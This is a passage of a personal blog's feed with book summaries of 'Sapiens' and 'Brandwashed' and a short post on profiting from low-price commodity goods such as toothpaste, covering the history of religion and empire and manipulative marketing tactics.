<p>Religion legitimises imagined realities (like &ldquo;Eating pork is sin&rdquo;) by claiming them to be coming from a superhuman entity.</p></blockquote>
<h4 id="origin-of-religion">Origin of Religion</h4>
<p>Animistic religions originated because hunter-foragers wanted to maintain the interests of other plants and animals (Eg. cutting a tree would anger the tree spirit, and it will take revenge). As Sapiens evolved into farmers, they desired absolute control over their animals. Gods acted as mediators. Sacrifice a lamb to a fertility god and the god will ensure a bumper harvest. As kingdoms and trade networks were established, multiple gods (like gods of war) appeared in a typical polytheistic fashion. While Animists thought Sapiens are just other creatures, polytheists treated the world as a reflection of the relationship between Sapiens and God.  Polytheist religions like Hinduism believe that there is a supreme power that is devoid of any interest in the mundane desires of human beings. Therefore, a worldly human would not pray to that supreme power. They would, however, pray to a god with a sub-divided power like Lakshmi for wealth. Since these gods have only partial power, they have interests and biases, and it is possible to negotiate with them.</p>
<blockquote>
<p>This plurality of gods results in open-mindedness, therefore, polytheists rarely prosecute infidels.</p></blockquote>
<p>They don&rsquo;t normally engage in conversion either. Romans, Egyptians, and Aztecs rarely send missionaries. When empires expanded locals were never asked to give up the gods, they can worship the new god along with the local god. Romans happily added Asian god Cybele to their pantheon. Though they refused to add monotheist Christ. Roman Emperors did force Christians to worship the Emperor&rsquo;s protector god as a mark of political loyalty and prosecuted them when they refused. Romans prosecuted a few thousand Christians in three centuries, and Christians prosecuted millions of other Christians over the next 1500 years to defend their slightly different interpretation of their religion. Over time, some polytheistic worshippers started to believe that their god, while having interests and biases, is supreme. Christianity, an esoteric sect of Jews, whose leader Paul of Tarsus, claimed that the Jesus of Nazareth was their Messiah, and if he has incarnated in the flesh then his message is worth spreading to the world. The esoteric sect of Christianity took over the Roman empire. Islam, another monotheist religion, repeated this model of success. Since monotheists are usually more fanatical in their beliefs, they took over the world. Most of the world today outside of East Asia follows monotheism. Christianity, however, adopted most polytheist gods back as Saints. For example, Celtic Ireland uses to worship Brigid, today, Christian Ireland worships St. Brigid.</p>
<p>Monotheism also gave birth to Dualism. Dualism explains evil by saying that there are two powers - good and bad. This explains the existence of evil which mystifies monotheism but is itself mystified by the order which governs the universe (since &ldquo;good&rdquo; and &ldquo;bad&rdquo; have equal power). Zoroastrianism is a notable dualistic religion. Monotheists like Christians, Muslims, and Jews absorbed dualistic beliefs. They not only accepted the concept of a powerful Satan but also believed that god need help in its battle against Satan and labeled those battles Jihads and Crusades. Even the concept of Heaven and Hell is dualist in origin, with no mention in the Old Testament. Most modern monotheists are   
    
    
<a href="https://en.wikipedia.org/wiki/Syncretism?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">syncretic</a> in their beliefs. Several natural law religions like Jainism, Buddhism, Confucianism, and Stoicism appeared as well. They disregarded the existence of super-human Gods and prescribed more in terms of the way of living to attain a good life. For example, Buddhism&rsquo;s central teaching is that suffering arises from craving and the only way to liberate your mind from craving is to train your mind to accept reality as it is.  Of course, since most Buddhists don&rsquo;t spend their life attaining Nirvana but in the more mundane worldly tasks, they also go and worship in Boddhisatvas for bringing rain and even winning bloody wars in exchange for fragrance sticks and a gift of rice. Communism, Capitalism, and Liberalism are modern religions with</p>
<blockquote>
<p>Buddhism&rsquo;s central teaching is that suffering arises from craving and the only way to liberate your mind from craving is to train your mind to accept the reality as it is.</p></blockquote>
<h4 id="worshipping-the-man">Worshipping The Man</h4>
<p>Liberal Humanism is the most famous religion (&ldquo;ideology&rdquo;) which worships humans as being scared and with belief that they have certain basic &ldquo;human rights&rdquo; which cannot be normally withdrawn from them. A murder is effectively destabilizing the cosmos order and punishing the murderer brings nature back in order. Social Humanism thinks about humans in a collective way, it holds a strong belief in equality. Evolutionary Humanism, the most radical one, was popularized by Nazis, it thinks of humans as a mutable species and strongly believes that advancing the quality of the species and eliminating everything which is of lower quality should be the end goal of humanity.</p>
<h3 id="the-secret-of-success">The Secret of Success</h3>
<p>While a globally interconnected society was inevitable (given the ability of humans to form large networks), the contemporary global society is one of the possibilities which got realized.</p>
<blockquote>
<p>History has wide array of possibilities, many are never realized.</p></blockquote>
<p>The success of monotheism, nationalism, and liberal humanism was one of the potential outcomes out of several possible ones. History is a complex level 2 chaotic system (Level 1 chaotic systems like the weather are unchanged when we try to predict, and Level 2 chaotic systems like the stock market react to predictions). Genes lead to organic evolution; memes lead to cultural evolution. Some scholars see culture as a mental parasite, as soon as one country is infected with nationalism, slowly, the surrounding ones catch the infection as well.</p>
<h2 id="the-scientific-revolution">The Scientific Revolution</h2>
<h3 id="the-discovery-of-ignorance">The Discovery of Ignorance</h3>
<p>Before the scientific tradition, it was believed that religious books contained everything important. Scientific tradition, in western Europe, a part of the world that played little role in history till about 1500AD. The scientific tradition is willing to admit that a lot is unknown and even what&rsquo;s known can be incorrect if new evidence to the contrary shows up. The focus of education has shifted from Theology to Mathematics and other &ldquo;exact&rdquo; sciences. Even the heavy emphasis on technology in the military is a recent phenomenon beginning in the 19th century. Most cultures used to believe that the golden age use to be in the past and hence, nothing much can be done to improve things. Scientific myth-busting fixed all that. Scientific progress has drastically elongated life expectancies. Scientific research, however, is almost always funded by entities that have their own social, political, or economic agenda. Science in itself cannot set its priorities, an ideology (religious, racial, or economic) determines the same.</p>
<h3 id="the-marriage-of-science-and-empire">The Marriage of Science and Empire</h3>
<p>Western Europe and Britain which had played almost no important role in the history of human civilization till about 1500 AD started to emerge and Europe took over to become the economic powerhouse between 1750 and 1850. While the development of both modern science and capitalism in Britain in a mere accident. The similar social structures (and imagined realities) of France, Germany, the US, and the other western nations allowed them to quickly follow up and copy Britain&rsquo;s success. Societies in India and China, the economic powerhouse of that era, were organized differently and hence,  they could not do the same. While the Arab world, India, and China also produced intellectuals and scholars (which Europeans did study), it was only in Europe that these intellectuals worked alongside the capitalists towards for-profit initiatives. The Imperial voyages to distant lands would consist not only of the military but also of some scientists to make discoveries.</p>
<blockquote>
<p>Europe&rsquo;s biggest success was the marriage of modern science and capitalism.</p></blockquote>
<p>This scientific mindset is illustrated by the example of Columbus vs. Vespucci.  Columbus reached the Bahamas and the Americas in 1492, but he simply did not want to believe that there exists a new continent that the Bible and all other religious texts could have missed. Vespucci reached there around 1500, and he argued that this is a new continent unknown till then.</p>
<blockquote>
<p>For the first time in the history of the world, a culture was making maps with empty areas marked for exploration.</p></blockquote>
<p>Europeans did not have an exceptional technological edge in the 1500s over other cultures what made them different was their insatiable desire to explore and conquer. In 1492, Columbus reached the Caribbean; the local population was colonized, killed, and enslaved with an iron fist. And the Aztecs in Mexico knew nothing about it. In 1517, after hearing rumors about a powerful Aztec empire, 300 Spaniards landed in Mexico. An empire of millions, unprepared for interacting with unknown humans, did not perceive a threat from 300 Spaniards. They pretended to be the diplomats of the king of Spain and use that deceit to capture king Montezuma. They held him, hostage while planning out a coup. By the time, the Aztec elite revolted and kicked the Spaniards out; they had found huge support among subjected people, who preferred unknown Spaniards over Aztec rulers. That miscalculation was costly. Within a century, 90 percent of the local population was wiped out. The survivors were under an even greedier regime. The same story was repeated by the Spaniards with the Inca empire.</p>
<blockquote>
<p>Lack of interest in the world beyond their empire ended up being costly for the Incas and the Aztecs.</p></blockquote>
<p>The Ottomans, the Indians, and the Chinese heard about these stories but showed little interest in Europe.  Their world revolved around their empires while the Europeans enjoyed the undisputed mastery of America and Oceania. The wealth and accumulated knowledge was then used to invade Asia. The detailed understanding of the local culture allowed Europeans to leverage and rule the populations far larger than theirs (ashishb&rsquo;s note: The Spanish destruction of the Inca and Aztecs; and the British colonial rule of India have strong parallels, the author missed out on the right phrasing here which is   
    
    
<a href="https://www.anuragbhatnagar.com/history/divide-and-rule-in-british-raj?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">divide and rule policy</a>). While Imperialists claim that their empires were altruistic projects, a white man&rsquo;s burden, the truth was locals were subjugated with an iron fist.</p>
<blockquote>
<p>In 1764, Britishers conquered Bengal, the richest province of India, due to the policies of the British East India Company, a third of the population (about 10 million) died from 1769-73 in the   
    
    
<a href="https://en.wikipedia.org/wiki/Great_Bengal_famine_of_1770?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bengal Famine</a>.</p></blockquote>
<p>The linguistic basis of Indo-Aryan languages was further used to come up with the argument of a superior Aryan race - a race of tall, blue-eyed, blond, fair complexion, super-rational humans. They emerged in the north and invaded Persia and India, regrettably, degenerating themselves by intermingling with the locals (the core of Hitler&rsquo;s argument).</p>
<h3 id="the-capitalist-creed">The Capitalist Creed</h3>
<p>Throughout human history, &ldquo;economic pie/wealth is fixed in size and not growing&rdquo; was a self-fulfilling prophecy. The idea of extending credit, therefore, was meaningless. The modern-day belief, based on   
    
    
<a href="https://en.wikipedia.org/wiki/The_Wealth_of_Nations?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Wealth of Nations</a>, is that individual greed is good for collective prosperity. While the idea of reinvesting profits to increase production further sounds trivial today, for a long while, humans believed that production and consumption are more or less fixed; and had it not been for the scientific revolution that would have been true. Many of the imperialist voyages could not have been easily funded by a single investor, and that&rsquo;s what lead to the emergence of joint-stock ownerships and eventually stock exchanges (and   
    
    
<a href="https://en.wikipedia.org/wiki/Mississippi_Company#The_Mississippi_Bubble?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bubbles</a>). In many cases, the government came to the defense of the investors. In the Opium war in 1839 in China Britain fought the Qing dynasty for protecting the opium trade from India to China by British traders. Greek rebellions raised funds via bonds in London Stock Exchange, and when their fight against the Ottoman Empire started to lose momentum, the British Navy sent their ships to defend their bond investors by ensuring that Greece becomes free. The popular free-market doctrine wants us to believe that there should be no political interference in the market and that left to its markets would benefit everyone. Except that is only a half-truth, all the Atlantic slave trade, most of the colonization, and millions of deaths of slaves on the plantations happened because of free markets and not the government. The European middle class happily bought shares of the slave trading companies and made about 6% a year in the 18th century.</p>
<blockquote>
<p>While Nazism killed millions out of burning hatred. Capitalism killed millions out of cold indifference coupled with greed.</p></blockquote>
<h3 id="the-wheels-of-industry">The Wheels of Industry</h3>
<p>The invention of the Steam Engine and further Electricity freed us from the day-night and winter-summer cycle of nature. The rise of industrial agriculture increased production drastically. And who will consume all this? Consumerism came to the rescue. All prior religions had encouraged austerity; consumerism encouraged conspicuous consumption. Capitalism won twice when people overconsumed since it allowed them to sell the cure for overconsumption later. The capitalists follow the commandant of &ldquo;Invest&rdquo; while consumers follow the commandment of &ldquo;Buy&rdquo;. Two sides of the same coin.</p>
<blockquote>
<p>Consumerism is the first religion in the history of mankind whose followers do what they are asked to.</p></blockquote>
<h3 id="a-permanent-revolution">A Permanent Revolution</h3>
<p>The Industrial Revolution turned timetables and assembly into a template for almost all human activities. With the advent of the railroad, local time differences across cities became a nuisance. In 1880, Britain legislated a single time for the whole country. Today a single family has more timepieces than an entire medieval country. The biggest change, however, is how the Industrial Revolution broke the family into individuals. Throughout human history, the family and the community were the biggest support system a human had. Even the kings maintained themselves primarily via the support of family heads. The market and the nation-state made a new offer to the individuals, free themselves from their families and become an individual, following our rules instead, they won. The sacred parental authority, the (lack of) right to choose a spouse, and all such family powers have been taken over by the nation-state.</p>
<blockquote>
<p>Previously, bride and groom met in the family living room and the money passed from one father to another. Today, courting is done at bars and cafes and money passes from the hands of the lovers to the waitresses.</p></blockquote>
<p>The nation and the consumer are the new imagined communities of our era that have replaced families. And just like money and human rights, these are inter-subjective realities that live in the minds of millions. Given that most wealth is not physical anymore, wars have become less profitable. Simultaneously, due to trade, peace has become even more profitable. We are living in one of the most peaceful eras in human history.</p>
<h3 id="and-they-lived-happily-ever-after">And They Lived Happily Ever After</h3>
<p>History talks about facts but rarely talks about how has human happiness evolved. Studies have shown that people with more money, good marriages, better social support, and lower subjective expectations (vs. the reality) are happier. Illness decreases happiness in the short term. The subjective expectation is the most crucial aspect; advertisements make us miserable by increasing subjective expectations. The bigger question might be the meaning of life. From a scientific perspective, life has no meaning. But for our happiness, meaningless life is an unacceptable choice. It&rsquo;s when our delusions about the meaning of our life synchronize with the collective delusions, that&rsquo;s when we feel happy.</p>
<blockquote>
<p>Its when our personal delusions about meaning of our life synchronize with the collective delusions, that&rsquo;s when we feel happy.</p></blockquote>
<p>Most of these studies take the &ldquo;liberal&rdquo; approach of believing that humans are the best to decide when they are happy or not. Religious leaders, as well as psychologists, disagree. For example, Buddhism believes that real happiness comes when one disassociates oneself from inner feelings and can just calmly observe them.</p>
<h3 id="the-end-of-homo-sapiens">The End of Homo Sapiens</h3>
<p>Till now all evolution has been evolutionary, and the future evolution will likely be Intelligent Design based designed in Laboratories. Either we will enhance human genes (ashishb&rsquo;s note:   
    
    
<a href="https://en.wikipedia.org/wiki/CRISPR?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CRISPR/Cas9</a> gene editing), we will add non-organic parts (cyborgs) or will create life from completely inorganic material based on 
<a href="/book-summary/how-to-create-a-mind-by/">Artificial Intelligence</a>. Due to a massive PR risk around ethical issues, most of these debates have focused on targeting plants, targeting amputated humans, and building AI for targeted tasks.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Profits with a red ocean strategy</title><link href="https://ashishb.net/finance/profits-with-a-red-ocean-strategy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><id>https://ashishb.net/finance/profits-with-a-red-ocean-strategy/</id><author><name>Ashish Bhatia</name></author><published>2017-08-06T03:05:50+00:00</published><updated>2017-08-06T03:05:50+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why pricing isn&rsquo;t everything in perfect competition. Learn how consumer habits can defy predictions, especially with low-cost goods like toothpaste.</blockquote><p>The common belief is that in the case of perfect competition (&ldquo;commoditized goods&rdquo;),
buyers will always buy the lowest priced item, and this will dwindle down profits to practically nothing,
and that&rsquo;s why it&rsquo;s called red ocean in the first place. While this is true in general,
there is at least one notable exception to it. Consider the example of toothpaste,
in the US, a toothpaste is ~1-2$ a piece. Are buyers really going to buy a white Colgate for 10¢
lower price over a red Colgate? Most would just stick to whatever they are used to.
And that&rsquo;s where lies the real strategy if the good&rsquo;s price is an tiny fraction of the budget,
it might never get optimized on.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/></entry><entry><title type="html">Book summary: Brandwashed by Martin Lindstorm</title><link href="https://ashishb.net/book-summary/brandwashed/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The subtle art of not giving a f*ck by Mark Manson"/><link href="https://ashishb.net/book-summary/sapiens/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Sapiens: A brief history of Humankind"/><link href="https://ashishb.net/book-summary/business-adventures/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Business Adventures" by John Brooks'/><link href="https://ashishb.net/book-summary/where-good-ideas-come-from/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Where good ideas come from" by Steven Johnson'/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/brandwashed/</id><author><name>Ashish Bhatia</name></author><published>2017-06-18T10:12:49+00:00</published><updated>2017-06-18T10:12:49+00:00</updated><content type="html"><![CDATA[<blockquote>Explore subtle tactics of marketing that exposes ethical dilemmas and psychological tricks in &ldquo;Brandwashed.&rdquo;</blockquote><p>The   
    
    
<a href="https://amzn.to/2sL3NaP?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about Martin&rsquo;s experience as a brand consultant where he tries to expose the subtleties of marketing used by corporations to create or increase demand for their products. Some techniques mentioned in the book are morally questionable. Overall, it&rsquo;s a great read into at the intersection of psychology and business. I would recommend reading this in conjunction with &ldquo;
<a href="/book-summary/influence-the-psychology-of-persuasion/">Influence: The Psychology of Persuasion</a>&rdquo;.</p>
<h3 id="marketing-to-the-kids-including-the-unborn">Marketing to the kids (including the unborn)</h3>
<p>Childhood memories and associations are more resilient to traumas than the ones formed later in life. A small hint of fragrance,  surroundings, or familiar objects can bring them back. But it extends beyond childhood. A fetus can hear not only the maternal sound but also the sounds coming from the outside and   
    
    
<a href="https://articles.latimes.com/1988-06-28/news/vw-4945_1_soap-opera?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">studies</a> have confirmed that newborns react positively to the music tastes of their mother. The one-off unscientific real-world marketing attempts have confirmed that this is not just limited to sound but extends to smells and the taste of food as well. Kopiko candy brand gave out free candies in maternity wards and in just four years of existence became the third-largest candy brand in the Philippines. Children who grow up recognizing brand logos not only prefer them later in life but also believe that the brand corresponds to personal qualities. Marketers love targeting kids entering precocious puberty (&ldquo;early puberty&rdquo;) since it allows them to form early preferences for things like razors, deodorants, and makeup.</p>
<ul>
<li>Organizations like   
    
    
<a href="https://www.girlsintelligenceagency.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Girls Intelligence Agency</a> help brands convert young girls with free cosmetics and party invites to convert them into brand ambassadors.</li>
<li>Gillette sends out   
    
    
<a href="https://www.reddit.com/r/answers/comments/5c5y0u/how_did_gillett_know/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">free razors</a> to boys on their birthdays (age varies according to state regulations). There is a 92% chance that a boy who has tried Gillette razor twice will use it for the rest of his life.</li>
<li>Kool sends out cigarettes for three months starting on the 18th birthday. If the boy or girl is not hooked in those three months, they are a lost cause. And if they are hooked, then they can milk them for life.</li>
</ul>
<p>Marketing to kids not only sets their future preferences but also influences the preferences of the whole family. Many times parents would buy what the child is asking for just to calm him/her down. Marketers call this &ldquo;pester power&rdquo;.  The reverse &ldquo;hand-me-down influence&rdquo; happens when parents shape the preferences of the child. Overall, both are in play simultaneously.</p>
<blockquote>
<p>A fetus develops taste for the sound, smell, and taste. The effects last into the adulthood.</p></blockquote>
<h3 id="selling-fear">Selling Fear</h3>
<p>From flu epidemics like swine flu to hurricanes, marketers love capitalizing on fears of selling food that boosts immunity with zero scientific evidence to hand sanitizers where hand wash would suffice. Fear raises adrenaline which leads to the release of epinephrine, which produces a satisfying sensation, more so for adrenaline junkies. Fear of failure is higher than the promise of success. More men end up going to the gym to avoid a flabby body than to develop muscles. Fear is used to sell</p>
<ul>
<li>Fear of failure is higher than the promise of success. More men end up going to the gym to avoid a flabby body than to develop muscles.</li>
<li>Fear is used to sell   
    
    
<a href="https://bestskitsofsnl.blogspot.com/2010/11/broadview-security.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">home security systems</a> to single women and life insurance to men with families.</li>
<li>Mother of all fears is the fear of a first-time mother. Women are more prone to fear and guilt than men. First-time mothers are even more so. From selling tons of child safety equipment to food items that require a small finishing touch, first-time mothers are the biggest opportunity for marketers.</li>
<li>Pharma companies capitalize on the fear of social isolation due to being overweight, being bald, having sexual performance issues, having cancer, etc. Sometimes they terrorize with minor things like restless leg syndrome and even shyness. Among big pharma, twice as much money is spent on advertisement than actual R&amp;D.</li>
<li>Fear of staleness - Whole Foods use chalked boards to display prices to evoke the feeling of freshness, toilet papers in hotel rooms are   
    
    
<a href="https://en.wikipedia.org/wiki/Hotel_toilet_paper_folding?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sealed</a> to imply room cleaning, seafood sold on ice, a tomato-colored bottle of Heinz, and   
    
    
<a href="https://wonderopolis.org/wonder/why-do-some-drinks-sweat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sweating cans</a> of coke are all meant to disguise into believing that the food is fresh and free of preservatives.</li>
</ul>
<blockquote>
<p>Among big pharma, twice as much money is spend on advertisement than actual R&amp;D.</p></blockquote>
<h3 id="brand-addiction">Brand Addiction</h3>
<p>Dopamine, the feel-good neurotransmitter, is behind our addictions from cigarettes to smartphones. The greater we use a dopamine-inducing substance the more tolerance we build up of it for generating dopamine, and the more we have to use it to generate the same amount of dopamine and feel better about ourselves.</p>
<p>Our lives are divided into two states, the routine state (the weekdays), and the dream state (the weekends). It&rsquo;s during the dream state, we experience new brands and bring them back into our routine lives. For the craving to build up, some subtle clues are dropped in the environment, like the sound of the soda can popping up or addictive ingredients like MSG, corn syrup, caffeine, and sugar. Studies have shown again and again that addictive ingredients trigger the brain the same way narcotics do.  Games &amp; Gamification cause severe addiction by providing a repetitive task with increasing levels of difficulty, causing a regular release of the &ldquo;feel-good&rdquo; dopamine.</p>
<h3 id="selling-sex">Selling sex</h3>
<p>Sex does sell. While men respond more to explicit imagery or sexual innuendos, women, on the other hand, respond more to ads with a romantic touch. Seeing a scantily dressed young person of the same sex puts us into the dream state of imagining ourselves as desirable as them.</p>
<h4 id="the-story-of-axe-body-spray">The story of Axe body spray</h4>
<p>Unilever surveyed 12, 000 single men and teenage boys, asking uncomfortable questions ranging from their fantasies to their pick-up strategies. They concluded that the ultimate male fantasy was not to be irresistible by a woman but by several women. They further accompanied several men to bars &amp; nightclubs and segmented the males into six categories -</p>
<ol>
<li>Predator - a loser &amp; mostly likely a liar looking for a drunk woman</li>
<li>Natural talent - someone whom most women would desire. Due to positive self-delusion, most men thought they are a natural talent</li>
<li>Marriage material</li>
<li>Friend - the ones who get friend zoned</li>
<li>Insecure Novice - looks creepy like a predator but pure at heart</li>
<li>Enthusiastic Novice - looks eager</li>
</ol>
<p>Unilever decides to target two groups, the insecure novice, and the enthusiastic novice.  They also decided to target natural talent mainly to provide a finishing touch to them. The boundary-pushing sexist ads campaign which showed an ax-sprayed man with several women worked wonders for Unilever, earning $71M in 2006 ($50M more than the nearest rival Tag). Eventually, as more and more dorks started to cover themselves with ads, the brand became the brand of losers and took a huge hit in sales. Unilever&rsquo;s Euphoria was another success where the idea was to design a fragrance that gave women the feeling of imprisoned lust (euphemized as melancholic).</p>
<h4 id="more-examples">More examples</h4>
<ul>
<li>One car company looked for a particular animal name to design a car targeting middle-aged men. (ashishb&rsquo;s note: The book does not mention the name but gives enough clues that it was   
    
    
<a href="https://www.horsetalk.co.nz/2012/03/30/special-rolls-royce-inspired-by-arabian-stallion/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rolls-Royce Stallion</a>), the car was themed by the smooth, black, and silky appearance of the animal.</li>
<li>Simpon&rsquo;s strategy - where a term like &ldquo;golden showers&rdquo; or &ldquo;12 inches of flavor&rdquo; which is not overtly sexual but obvious to the wallet-carrying adult is used for producing humor suited both to the child and the adult.</li>
<li>In the US, the rise of single mothers, fearmongering among men, and new cosmetics marketed towards men to smooth out their rough edges while keeping them looking masculine have all contributed to the growth of the male grooming industry.</li>
</ul>
<h3 id="peer-pressure">Peer pressure</h3>
<ul>
<li>Termites, bees, and birds appear to move in unison as if they are communicating with each other. In biology, these are called complex adaptive systems where simple individual actions result in a complex outcome. Humans to some extent behave the same way.</li>
<li>Humans flock behind more confident individuals. Even toddlers have been studied to play with toys similar to how they have seen other toddlers playing with them.</li>
<li>When people look at the photos of a party they attended, they first check out their photos, and then they check out the people surrounding them in those photos (to compare and to see their reactions towards them).</li>
<li>In 2009, Cepia staged   
    
    
<a href="https://amzn.to/2tg3271?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zhu Zhu Pet Hamster</a> giveaways at Zoos, hospitals, and MLB games. Then they staged several influential parties for mommy bloggers, organized radio shows, and cut production to create artificial scarcity. This created a demand big enough that Cepia made millions by selling this toy.</li>
<li>Viral phenomena like the Smirnoff Icing game (with no role from Smirnoff) or small clips uploaded by Viacom on YouTube to market its shows, if successful, can result in a huge windfall for marketers.</li>
<li>Bestsellers list recommended music, and all such curation systems help us guide what to purchase. We love buying what is already popular since it implies implicit social approval of our taste.</li>
<li>In a survey of 100, 000 teenagers in 30 countries, roughly 50% said that they won&rsquo;t buy an item of clothing without visible branding on it.</li>
<li>Using counterfeit products, not only, fails to improve our self-image but undermines our internal sense of authenticity.</li>
<li>Reverse peer pressure develops when older people start using the product, in that case, younger ones try to dissociate themselves from it. A product that is going to be explicitly disapproved by the older generation has a high chance of success with younger ones.</li>
<li>Most Russians drink a large amount of Vodka quickly (after Nostrovia - Russian cheers). Neither they like the taste, nor they like binge drinking but peer pressure keeps this ritual alive. The younger generation hates it, therefore, a new brand of Vodka capitalized on that by having a better taste and a slow drinking ritual decided to take on the Russian market ( the author did not reveal the brand name).</li>
</ul>
<blockquote>
<p>We love buying what is already popular since it implies an implicit social approval of our taste.</p></blockquote>
<h3 id="nostalgia">Nostalgia</h3>
<p>First experiences might not always be better but they always seem better in hindsight. We always remember beautiful memories and associations of the past. Many memories, especially of childhood and teenage are usually of fewer responsibilities and youthfulness and hence, are more beautiful. We are attracted to small things which remind us of that nostalgic past. When we buy a product from the past, we are not just buying the product but a nostalgic trip to our childhood. We know that time is fleeting and just the mention of the word &ldquo;time&rdquo; in an advertisement makes it more likely for us to act.</p>
<p>Nostalgia demands authenticity and nothing authentic can be perfect. From pre-washed T-shirts to (apparently) randomly broken chocolate pieces, and (machine-generated) chalk signs a Whole Foods, all these are attempts to fake authenticity with imperfection. Perfection, like a perfect burger, makes us conscious of mass-produced factory goods.</p>
<blockquote>
<p>When we buy a product from the past, we are not just buying the product but a nostalgic trip to our childhood.</p></blockquote>
<p>When Evian Water, a French bottled water company, entered China, their first attempt to sell bottled water flopped since they chose a well that tasted more like modern-day urban China than rural farmland, most of China was a few decades ago, after realizing this, they found new wells with grassy moldy taste and this time it succeeded.</p>
<h3 id="celebrity-endorsements">Celebrity Endorsements</h3>
<ul>
<li>In modern democracies, royal families are effectively celebrities. Things like royal marriages and royal births boost their popularity. They have to project an aura of being special but at the same time not too aloof from the commoner.</li>
<li>While the childhood dream of most boys is powerful superheroes and princesses for girls, the future self everyone is the same: rich, attractive, and famous. And that&rsquo;s what attracts us to celebrities, we envy what they have.</li>
<li>  
    
    
<a href="https://amzn.to/2sDbdg5?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">South Beach Diet</a> published in 2003 was relatively unknown until the &ldquo;celebrity&rdquo; Clintons endorsed it. And it wasn&rsquo;t just 15 Minutes of Fame, the book still commands strong sales in the US.</li>
<li>Vitaminwater gave shares to celebrities hoping to get endorsements in return which they indeed got.</li>
<li>Companies come up with preferred, exclusive, and club offerings all the time, marketing them as exclusive, even though, anyone who is willing to pay an exorbitant fee can get in.</li>
<li>Cosmetic companies put doctors on their boards since the recommendation from experts (even where there is a perceived bias) is pure gold.</li>
<li>Celebrities lend their names to products or publicize products in return for either ownership stake or royalty based on goods sold. Despite this bias being visible, it still works since consumers do want to associate themselves with Elizabeth Taylor by buying perfume with her name on it. And this is not just limited to useful goods, Marilyn Monroe&rsquo;s empty prescription bottles were sold for $18,750. The key is celebrity association and not usefulness.</li>
<li>Just like &ldquo;peer pressure&rdquo;, celebrity endorsement is a way for us to let someone else decide for us.</li>
</ul>
<h3 id="marketing-health---physical-mental-and-environmental">Marketing Health - physical, mental, and environmental</h3>
<ul>
<li>Goji berry is found in China and Malaysia but is associated with the Himalayas and Buddhism to imply purity, authenticity, and Eastern enlightenment. Most of Freelife&rsquo;s Goji berry juice is produced in Arizona. Marketers exploit the mental shortcut which looks at the bottle and associating it with Eastern enlightenment. Acai Berry uses &ldquo;Brazilian rainforest&rdquo; for the same effect.</li>
<li>Pomegranate marketing overemphasizes the absolute benefits of pomegranate without admitting that it is not much better than most other fruits and vegetables.</li>
<li>In the US, &ldquo;organic&rdquo; is a regulated term but &ldquo;natural&rdquo; is unregulated. And marketers love adding the word natural whenever they think it can give them a boost.</li>
<li>&ldquo;multigrain&rdquo; just means more than one grain and it might or might not be healthy.</li>
<li>&ldquo;energy drink&rdquo; is a positive spin on a drink with more calories.</li>
<li>&ldquo;contains real fruit&rdquo; does not mean much, technically, any little amount of real food in a drink would qualify for it to claim that it contains real fruit.</li>
<li>&ldquo;Zero trans fat&rdquo; usually implies the presence of saturated fat, both being equally bad for the heart.</li>
<li>Cosmetics and clothing can make even more outrageous claims due to little regulation. VitaSea -shirts, claimed to be made from Seaweed, contained no   
    
    
<a href="https://www.nytimes.com/2007/11/14/business/14seaweed.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">seaweed</a>.</li>
<li>Green, recycled, and socially responsible goods are usually more expensive, even when they don&rsquo;t have to be. Companies love creating this aura of it costs more to be socially responsible and environmentally friendly while milking extra money.</li>
<li>Buddhism, yoga, new age spirituality, and halal labels are all used for selling goods under the pretext of purity.</li>
</ul>
